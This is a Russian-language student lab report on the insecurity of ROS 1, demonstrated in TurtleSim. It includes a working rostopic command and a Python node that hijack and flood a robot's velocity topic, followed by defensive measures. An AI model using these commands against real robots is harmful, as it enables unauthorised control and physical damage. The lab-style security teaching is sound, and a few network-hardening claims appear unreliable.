Лабораторная работа №4

Тема: Введение в безопасность роботизированных систем на базе ROS (Robot Operating System)

Вариант: №1
Среда: TurtleSim
Цель: помешать движению черепашки по квадрату

Теоретическая справка

ROS (Robot Operating System) — это гибкая фреймворк-платформа для разработки программного обеспечения роботов.
Основные компоненты:

- **Нода (node)** — отдельный процесс, выполняющий задачу.
- **Топик (topic)** — именованный канал для обмена сообщениями между нодами.
- **Сообщение (message)** — структура данных, передаваемая по топику.

ROS 1 не имеет встроенной аутентификации или авторизации. Любая нода в той же сети (через `ROS_MASTER_URI`) может:

- читать любые топики,
- публиковать в любые топики,
- вызывать сервисы,
- запускать новые ноды.

Это делает ROS 1 **крайне уязвимым** в незащищённых сетях.

Ход выполнения работы

Шаг 1. Запуск ROS-мастера и TurtleSim

Команда:

```
roscore
```

(в отдельном терминале)

Команда:

```
rosrun turtlesim turtlesim_node
```

Команда (в третьем терминале — запуск скрипта движения по квадрату):

```
rosrun turtlesim draw_square
```

> Черепашка начинает двигаться по квадрату: 4 отрезка по 2 единицы с

поворотами на 90°.

Шаг 2. Анализ активных топиков

Команда:

```
rostopic list
```

Вывод:

```
/rosout
/rosout_agg
/turtle1/cmd_vel
/turtle1/color_sensor
/turtle1/pose
```

> Топик `/turtle1/cmd_vel` — управляющий (принимает команды скорости).
> Топик `/turtle1/pose` — публикует текущие координаты и угол.

Шаг 3. Подписка на данные позиции

Команда:

```
rostopic echo /turtle1/pose
```

Фрагмент вывода:

```
x: 5.544
y: 5.544
theta: 0.0
...
x: 7.432
y: 5.544
theta: 0.0
```

> Видно, что черепашка движется по прямой вправо (изменяется `x`, `theta = 0`), как и ожидается при движении по квадрату.

Шаг 4. Атака: несанкционированное управление

Цель — **нарушить движение по квадрату**, отправляя случайные команды скорости.

Команда (в новом терминале):

```
rostopic pub -r 10 /turtle1/cmd_vel geometry_msgs/Twist \
  "linear:
    x: 2.0
    y: 0.0
    z: 0.0
  angular:
```

```
    x: 0.0
    y: 0.0
    z: 3.0"
```

Флаг `-r 10` — публикация 10 раз в секунду.
Это заставляет черепашку **двигаться по кругу** вместо квадрата.

Результат:
Черепашка **перестаёт следовать квадратному маршруту** и начинает кружить.
Оригинальный скрипт `draw_square` продолжает работать, но его команды **перекрываются** атакующими сообщениями из-за более высокой частоты публикации.

✓ Атака **успешна**: целостность управления нарушена.

Шаг 5. Создание зловредной ноды на Python

Создаём файл `malicious_turtle.py`:

```
#!/usr/bin/env python3
import rospy
from geometry_msgs.msg import Twist
import random

def main():
    rospy.init_node('malicious_turtle', anonymous=True)
    pub = rospy.Publisher('/turtle1/cmd_vel', Twist, queue_size=10)
    rate = rospy.Rate(20)  # 20 Hz — выше, чем у draw_square (~10 Hz)

    while not rospy.is_shutdown():
        msg = Twist()
        msg.linear.x = random.uniform(-2.0, 2.0)
        msg.angular.z = random.uniform(-3.0, 3.0)
        pub.publish(msg)
        rate.sleep()

if __name__ == '__main__':
    try:
        main()
    except rospy.ROSInterruptException:
        pass
```

Запуск ноды:

```
chmod +x malicious_turtle.py
rosrun turtlesim malicious_turtle.py
```

Результат:
Черепашка **движется хаотично**, полностью игнорируя алгоритм `draw_square`.
Это демонстрирует **атаку типа "глушение топика"** (topic flooding).

Меры защиты ROS-систем

Хотя ROS 1 не предоставляет встроенной защиты, возможны следующие меры:

1. Изоляция сети

- Запуск ROS только в доверенной изолированной сети (VLAN, отдельный Wi-Fi).
- Блокировка порта `11311` (ROS Master) на межсетевом экране.

2. Использование ROS 2

- ROS 2 использует **DDS** (Data Distribution Service) с поддержкой:
  - аутентификации,
  - шифрования (TLS/DTLS),
  - контроля доступа к топикам.

3. Запрет анонимного доступа на уровне приложения

- Валидация источника сообщений (например, через цифровую подпись).
- Ограничение прав нод через внешние механизмы (AppArmor, SELinux).

4. Мониторинг трафика

- Инструменты вроде `rosbag` и `rqt_graph` для аудита.
- Системы обнаружения вторжений (IDS) для ROS.

Ответы на контрольные вопросы

1. **Основные компоненты ROS**:
   - **Нода** — исполняемый процесс.
   - **Топик** — канал для асинхронной передачи сообщений.
   - **Сообщение** — сериализуемая структура данных (например, `Twist`, `Pose`).
2. **Ключевая проблема безопасности ROS 1 — полное отсутствие механизмов аутентификации, авторизации и шифрования**. Любая машина в сети с доступом к `ROS_MASTER_URI` имеет полный контроль над системой.
3. **Последствия несанкционированной публикации**:
   - Потеря управления роботом,
   - Повреждение оборудования (столкновения, перегрузки),
   - Утечка данных (через публикацию в `/rosout`),
   - Выполнение произвольных действий (через сервисы).
4. **ROS 2** — новое поколение ROS, использующее DDS. Обеспечивает:
   - встроенную аутентификацию,
   - шифрование трафика,
   - гранулярный контроль доступа к топикам и сервисам.
5. **Сетевые меры защиты**:

- Изоляция ROS-сети,
- Межсетевой экран (блокировка портов 11311, 59843 и др.),
- Использование VPN для удалённого доступа,
- Отключение автодисCOVERY (например, через `ROS_IP` вместо `ROS_HOSTNAME`).

Вывод

В ходе лабораторной работы:

- Была запущена и проанализирована ROS-среда TurtleSim.
- Подтверждена **уязвимость стандартной конфигурации ROS 1** к несанкционированному вмешательству.
- Успешно выполнены две атаки:
  - ручная публикация ложных команд,
  - автоматизированная нода, глусящая управляющий топик.
- Предложены **практические меры защиты**, включая переход на ROS 2 и сетевую изоляцию.

Работа продемонстрировала, что **безопасность ROS требует внешних механизмов**, так как сама платформа ROS 1 **не обеспечивает базовой защиты**.

Выполнил(а): Александр
Дата: 6 декабря 2025 г.
